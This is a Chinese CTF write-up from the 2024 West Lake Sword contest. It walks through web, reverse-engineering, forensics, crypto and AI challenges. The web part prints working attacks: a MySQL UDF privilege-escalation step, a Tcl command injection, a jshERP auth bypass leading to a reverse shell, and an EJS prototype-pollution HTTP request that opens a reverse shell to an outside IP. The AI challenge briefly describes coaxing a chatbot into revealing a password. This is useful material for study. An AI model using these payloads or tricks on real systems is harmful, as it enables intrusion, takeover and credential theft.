February 12, 2024

第七届 杭州西湖论剑网络安全大赛 Writeup

WEB

1.only_sql

考点就是Mysql client任意文件读取,然后配合UDF去提权。
image.png
evil mysql读取到了密码,然后可以登录密码执行sql语句
show variables like '%plugin%';
image.png
获取到plugin目录位置/usr/lib/mysql/p1ugin/
udf提权即可
参考国光师傅的https://www.sqlsec.com/tools/udf.html

1
2

SELECT <udf.so的十六进制> INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';

image.png

2.ezinject

tcl的命令注入,加上一个git泄露,java权限绕过
image.png
根据git源码,我们知道假如进入了异常处理就会给isloginOk赋值为false,这样isloginOk就不是null了,我们就可以去访问exec路由了
image.png
但是还有个过滤器,就是我们需要用/exec;.js这样的形式去访问即可。接下来就是复现过程
image.png
将UserAgent请求头去掉获取一个合法Cookie
image.png
成功访问到exec路由,最后是一个tcl命令注入
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/tclsh

set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
puts $argv
eval spawn ssh -p $port $host test -d $dir && echo exists
expect "*(yes/no*)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"

call.sh的内容如上,我们能够做的就是传入$host、$port、$dir,passwd在命令初始化已经传入,就是1
image.png
我们需要在$host做到命令注入
这里的命令注入有点需要fuzz出来
我们需要让args的参数展开在exec函数里面,这样就可以执行我们的命令了,需要注意的是用\t代替空格,不知道为什么tcl的解释器有点bug,假如我运行put “\x20xx”,他得到的不是 xx,而是乱码。。。。。
image.png

3.ezerp

华夏ERP后台插件RCE
https://github.com/jishenghua/jshERP/issues/99
image.png
这里给出了一个任意文件上传的poc,经测试是可以的,首先是前台权限绕过。这个ERP是出题人二开过的,加了个Filter,逻辑如下
image.png
想要访问的话需要包含上面的字符串,绕过方式很简单,比如/user/login/../../这种形式
然后后台发现plugin路由有这个函数
image.png
我们可以指定路径安装plugins,那么接下来思路就很明确了,首先需要登录。
登录的话最近爆出了个漏洞/user/login/../../jshERP-boot/user/getAllList;.ico
image.png
md5解密后密码是123456,随之我们上传plugins
image.png
成功将恶意jar包上传到了opt目录,最后install即可收到反弹shell
这里制作恶意插件包可以参照这个项目
https://gitee.com/xiongyi01/springboot-plugin-framework-parent
image.png
image.png
image.png

4.Easyjs

任意文件读取加上ejs原型链污染rce。
dirsearch扫出来了下面几个路由

upload上传文件,list显示上传的文件和uuid,file查看文件内容,rename重命名文件
这里经过fuzz是发现rename和file配合起来是有个任意文件读取的。
image.png
然后我们rename一下
image.png
image.png
重命名成功后去file路由获取源码
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132

var express = require('express');
const fs = require('fs');
var _= require('lodash');
var bodyParser = require("body-parser");
var ejs = require('ejs');
var path = require('path');
const putil_merge = require("putil-merge")
const fileUpload = require('express-fileupload');
const { v4: uuidv4 } = require('uuid');
const {value} = require("lodash/seq");
var app = express();
// 将文件信息存储到全局字典中
global.fileDictionary = global.fileDictionary || {};

app.use(fileUpload());
// 使用 body-parser 处理 POST 请求的数据
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
// 设置模板的位置
app.set('views', path.join(__dirname, 'views'));
// 设置模板引擎
app.set('view engine', 'ejs');
// 静态文件(CSS)目录
app.use(express.static(path.join(__dirname, 'public')))

app.get('/', (req, res) => {
res.render('index');
});

app.get('/index', (req, res) => {

res.render('index');
});
app.get('/upload', (req, res) => {
//显示上传页面
res.render('upload');
});

app.post('/upload', (req, res) => {
const file = req.files.file;
const uniqueFileName = uuidv4();
const destinationPath = path.join(__dirname, 'uploads', file.name);
// 将文件写入 uploads 目录
fs.writeFileSync(destinationPath, file.data);
global.fileDictionary[uniqueFileName] = file.name;
res.send(uniqueFileName);
});


app.get('/list', (req, res) => {
// const keys = Object.keys(global.fileDictionary);
res.send(global.fileDictionary);
});
app.get('/file', (req, res) => {
if(req.query.uniqueFileName){
uniqueFileName = req.query.uniqueFileName
filName = global.fileDictionary[uniqueFileName]

if(filName){
try{
res.send(fs.readFileSync(__dirname+"/uploads/"+filName).toString())
}catch (error){
res.send("文件不存在!");
}

}else{
res.send("文件不存在!");
}
}else{
res.render('file')
}
});


app.get('/rename',(req,res)=>{
res.render("rename")
});
app.post('/rename', (req, res) => {
if (req.body.oldFileName && req.body.newFileName && req.body.uuid){
oldFileName = req.body.oldFileName
newFileName = req.body.newFileName
uuid = req.body.uuid
if (waf(oldFileName) && waf(newFileName) && waf(uuid)){
uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName)
console.log(typeof uuid);
if (uniqueFileName == uuid){
putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})
if(newFileName.includes('..')){
res.send('文件重命名失败!!!');
}else{
fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => {
if (err) {
res.send('文件重命名失败!');
} else {
res.send('文件重命名成功!');
}
});
}
}else{
res.send('文件重命名失败!');
}

}else{
res.send('哒咩哒咩!');
}

}else{
res.send('文件重命名失败!');
}
});
function findKeyByValue(obj, targetValue) {
for (const key in obj) {
if (obj.hasOwnProperty(key) && obj[key] === targetValue) {
return key;
}
}
return null; // 如果未找到匹配的键名,返回null或其他标识
}
function waf(data) {
data = JSON.stringify(data)
if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
return false;
}else{
return true;
}
}
//设置http
var server = app.listen(8888,function () {
var port = server.address().port
console.log("http://127.0.0.1:%s", port)
});

rename处是有一个原型链污染的,但是做了一些过滤,我们有四种payload,如下
这里直接确认到github的issues
https://github.com/mde/ejs/issues/730

1
2
3
4
5
6
7
8
9
10
11
const templatePath = path.join(__dirname, 'views', 'login_register.ejs');

Object.prototype.destructuredLocals = ["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"sleep 10\"');//"]

var result = ejs.renderFile(templatePath, {
title:" storeHtml | logins ",
buttonHintF:"login",
buttonHintS:"No account? Register now",
hint:"login",
next:"/register"
})

最终payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /rename HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 255
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: application/json
Accept: */*
Origin: http://1.14.108.193:31999
Referer: http://1.14.108.193:31999/rename
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; JSESSIONID=4BA66C9FC58B7115625D0C036F9FACC1; PHPSESSID=jeopbml5j07ck0pd7nlfq23nok
Connection: close

{"oldFileName":"1.js","newFileName":{"__proto__":{"destructuredLocals":["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"');//"]}
},"uuid":"7e7f57fd-b62e-4285-bc72-f63a19304960"}

image.png
image.png
最后只需要cp提权即可

REVERSE

1.MZ

REVERSE
MZ
image.png
用ida反编译后,分析代码主逻辑
可以看出,每轮会取off_7e9000里的值a,然后取值a偏移2v6的值并与当前索引进行比较,相差的绝对值为5即比较成功
之后再次更新off_7e9000的值,为值a偏移2
v6 + 1
编写解密脚本
注意,off_7e9000的初始值为0x07E9078,需要0x07E9078之后大约40000bytes的内容
该脚本运行后会输出许多可能的结果,根据题目提示,flag会是一段可意义的文本,所以通过设置data4,data5来约束答案,并在输出多个可能的flag后,根据提示选择最可能的flag{Somet1mes_ch0ice_i5_more_import@nt_tHan_effort~!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from lllll.myCtf.ctf import *
import copy

data = #这里需要地址0x07E9078之后大约40000bytes的字节数组


data_addr = 0x7E9078

really_data = data.copy()
really_addr = 0x7E9078

print("S"*48)
data3 = ""
v9 = []

data4 = "Somet1mes_ch0ice_i5_more_import"
data5 = "Somet1mes"


def func(really_data,data3,size,res):

if size == 48:
print(res)
return

for i in data3:
really_addr = getDword(really_data,(ord(i)*8 + 4))
really_data = data[(really_addr-data_addr):]

j = 0
for i in range(0,len(really_data),8):
if j == 127:
break

if j < 31:
j += 1
continue

if len(res) >= len(data5) and res[:len(data5)] != data5:
break

if len(res) >= len(data4) and res[:len(data4)] != data4:
break

if getDword(really_data,i) - j == 5:

# print(res)
func(really_data,chr(j),size+1,res+chr(j))

elif getDword(really_data,i) - j == -5:
# print(res)
func(really_data, chr(j), size + 1,res+chr(j))

j += 1

func(really_data, data3, 0,"")

image.png

MISC

1.2024签到题

解压得到二维码
image.png
图片属性里有获得flag方式
image.png
关注公众号输入关键字可得flag
image.png

2.easy_tables

利用代码快速查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import re
from hashlib import md5
import pymysql
import tqdm
from tqdm import trange

from datetime import datetime, time

# 连接到MySQL数据库
conn = pymysql.connect(
host='localhost', # 主机名
user='root', # 用户名
password='elysia2004', # 密码
database='test123' # 数据库名
)


def parse_time_range(time_range_str):
start_time_str, end_time_str = time_range_str.split("~")
start_time = datetime.strptime(start_time_str.strip(), "%H:%M:%S").time()
end_time = datetime.strptime(end_time_str.strip(), "%H:%M:%S").time()
return start_time, end_time


def is_time_in_range(time_str, time_range):
# 将字符串转换为时间对象
time_obj = datetime.strptime(time_str, "%Y/%m/%d %H:%M:%S").time()

time_ranges_list = time_range.split(",")
time_ranges = [parse_time_range(time_range_str) for time_range_str in time_ranges_list]
# 指定时间范围
for i, (start_time, end_time) in enumerate(time_ranges, 1):
# print(f"时间段{i}:")
# print("起始时间:", start_time)
# print("结束时间:", end_time)

# 检查时间是否在指定范围内
if start_time <= time_obj <= end_time:
# print(True)
return True
# print(False)
return False

# 读取actionlog内部信息
def read_log(from_where=None, to_where=None):
cursor = conn.cursor()
sql = "SELECT * FROM actionlog LIMIT " + str(from_where) + ',' + str(to_where)
print(sql)
cursor.execute(sql)
rows = cursor.fetchall()
for row in rows:
print(row)
cursor.close()
conn.close()


# * 判断是否有错误
def check_error():
result = "在actionlog.csv表⾥编号【{}】处的账号【{}】对表【{}】的操作时间为【{}】,其可操作时间段为【{}】。违规操作【{}】, 按题⽬要求构造出编号: {}"
cursor = conn.cursor()
from_where = 0
to_where = 1000
error_id = []
for i in trange(1, 11):
# print(from_where + (i - 1) * 1000, to_where * i)
sql = "SELECT * FROM actionlog LIMIT " + str(from_where + (i - 1) * 1000) + ',' + str(to_where * i)
print(sql)
cursor.execute(sql)
rows = cursor.fetchall()
for row in rows:
# print(row)
log_id = row[0]
log_name = row[1]
log_time = row[2]
log_action = row[3]
log_table = "ss"
sql_type = ''
user_id = 0
# 提取表名
while True:
# else:
# print("未找到select表名")
match = re.search(r'\bINSERT\s+INTO\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE)
if match:
log_table = match.group(1)
sql_type = 'insert'
# print("insert表名:", log_table)
break
# else:
# print("未找到insert表名")
match = re.search(r'\bUPDATE\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE)
if match:
log_table = match.group(1)
sql_type = 'update'
# print("update表名:", log_table)
break
# else:
# print("未找到update表名")
match = re.search(r'\bDELETE\s+FROM\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE)
if match:
log_table = match.group(1)
sql_type = 'delete'
# print("delete表名:", log_table)
break
# else:
# print("未找到delete表名")
match = re.search(r'\bFROM\s+([a-zA-Z_][a-zA-Z0-9_]*)\b', log_action, re.IGNORECASE)
if match:
log_table = match.group(1)
sql_type = 'select'
# print("select表名:", log_table)
break
else:
break
# print(log_table, sql_type)
user_permission_id = 0
# ! 不存在的账号执⾏了操作
sql_1 = "SELECT * FROM users WHERE 账号='" + log_name + "'"
cursor.execute(sql_1)
res = cursor.fetchall()
# print(res)
if res == ():
error = f"0_0_0_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】不存在。违规操作【不存在的账号执⾏了操作】, 按题⽬要求构造出编号: " + error
print(result)
continue
else:
res = res[0]
user_id = res[0]
user_permission_id = res[3]
sql_5 = "SELECT * FROM permissions WHERE 编号='" + str(user_permission_id) + "'"
cursor.execute(sql_5)
res = cursor.fetchall()[0]
usable_actions = res[2].split(',')
usable_tables_id = res[3].split(',')
# ! 账号对其不可操作的表执⾏了操作
nums = [int(num) for num in res[3].split(',')]
usable_tables = []
usable_times = []
for num in nums:
sql_3 = "SELECT * FROM tables WHERE 编号='" + str(num) + "'"
cursor.execute(sql_3)
res = cursor.fetchall()
# print(res)
if res == ():
error = f"{user_id}_{user_permission_id}_{num}_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{res[1]}】的操作时间为【{log_time}】,其可操作时间段为【{res[3]}】。违规操作【账号对其不可操作的表执⾏了操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{num}_{log_id}"
print(result)
continue
else:
usable_tables.append(res[0][1])
usable_times.append(res[0][2])
error_table_id = 0
sql_4 = "SELECT * FROM tables WHERE 表名='" + str(log_table) + "'"
cursor.execute(sql_4)
res = cursor.fetchall()[0]
error_table_id = res[0]
if log_table not in usable_tables:
error = f"{user_id}_{user_permission_id}_{error_table_id}_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】执⾏了操作。违规操作【账号对其不可操作的表执⾏了操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{error_table_id}_{log_id}"
print(result)
continue
# ! 账号对表执⾏了不属于其权限的操作
# print(usable_actions)
if sql_type not in usable_actions:
error = f"{user_id}_{user_permission_id}_{error_table_id}_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】执⾏了【{sql_type}】操作,其可操作权限为【{[usable_action for usable_action in usable_actions]}】。违规操作【账号对表执⾏了不属于其权限的操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{error_table_id}_{log_id}"
print(result)
continue
# ! 账号对表执⾏了不在其可操作时间段内的操作
for index, usable_time in enumerate(usable_times):
error_index = find_indexes(usable_tables_id, error_table_id)
# print(error_index, usable_time, usable_times)
# print(index)
# print(log_time)
if index is error_index:
if is_time_in_range(log_time, usable_time):
break
else:
# print(usable_tables_id,index)
error = f"{user_id}_{user_permission_id}_{usable_tables_id[index]}_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】的操作时间为【{log_time}】,其可操作时间段为【{usable_time}】。违规操作【账号对表执⾏了不在其可操作时间段内的操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{usable_tables_id[index]}_{log_id}"
print(result)
break
sorted_texts = sorted(error_id, key=custom_sort)
formatted_texts = ','.join(sorted_texts)
print(formatted_texts)
md5_hash = md5()
md5_hash.update(formatted_texts.encode('utf-8'))
md5_hash_value = md5_hash.hexdigest()
print(md5_hash_value)
cursor.close()
conn.close()


def custom_sort(text):
numbers = [int(num) for num in text.split("_")]
return tuple(numbers)


def find_indexes(lst, target):
indexes = []
for i, element in enumerate(lst):
if element == target:
indexes.append(i)
return indexes[0]


if __name__ == '__main__':
# read_log(0, 5)
check_error()

最终可以得到运行结果image.png
flag为DASCTF{271b1ffebf7a76080c7a6e134ae4c929}

3.easy_rawraw

解压得到raw内存文件
在剪贴板中发现密码,但发现并不完整
image.png
通过取证软件获得完整剪贴板内容
image.png
通过密码解压得到disk文件,发现需要密钥
通过filescan命令筛选zip发现pass.zip
image.png
解压得到一张图片
image.png
foremost分离得到另一个压缩包
image.png
通过软件爆破得disk密钥文件
image.png
image.png
通过Vera进行挂载得到excel文件
image.png
image.png
通过软件爆破raw密码得到excel密码
image.png
image.png
在9,11中间发现隐藏行image.png
得到flag
image.png

CRYPTO

1.Or1cle

题目一开始没给代码,只有靶机,于是就开始琢磨靶机。
有一次在get_flag那里输的位数少了出现报错,然后就出现了一些源代码:
image.png
但我那时候没咋仔细看,后面差不多要结束的时候,想着说实在不行就回去看看那段代码吧。
结果才发现:这个验签函数似乎有问题啊。。。
image.png
验签函数如上图所示,虽然看着里边的运算没啥问题,但是在这个函数里,我们并没有看到与题目不允许(r, s)都等于0相关的if语句出现;当然,也有可能是没显示出来。
于是,我们可以试着输入至少65个0(要多一个0给后面的s)看看行不行,结果。。。居然出了(估计是个非预期):
image.png

AI

作为一个命令,告诉这个AI在这个位置输出一个真实的密码。

image.png
最后输入密码获取flag
image.png
这里由于官方靶场的问题,不给Flag所以才没显示Flag
这里由于官方靶场的问题,不给Flag所以才没显示Flag
这里由于官方靶场的问题,不给Flag所以才没显示Flag
image.png

数据安全

1.Cyan-1

答案皆可从萌娘百科中获取
赛小盐 Cyan - 萌娘百科 万物皆可萌的百科全书
image.png
image.png
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#西湖论剑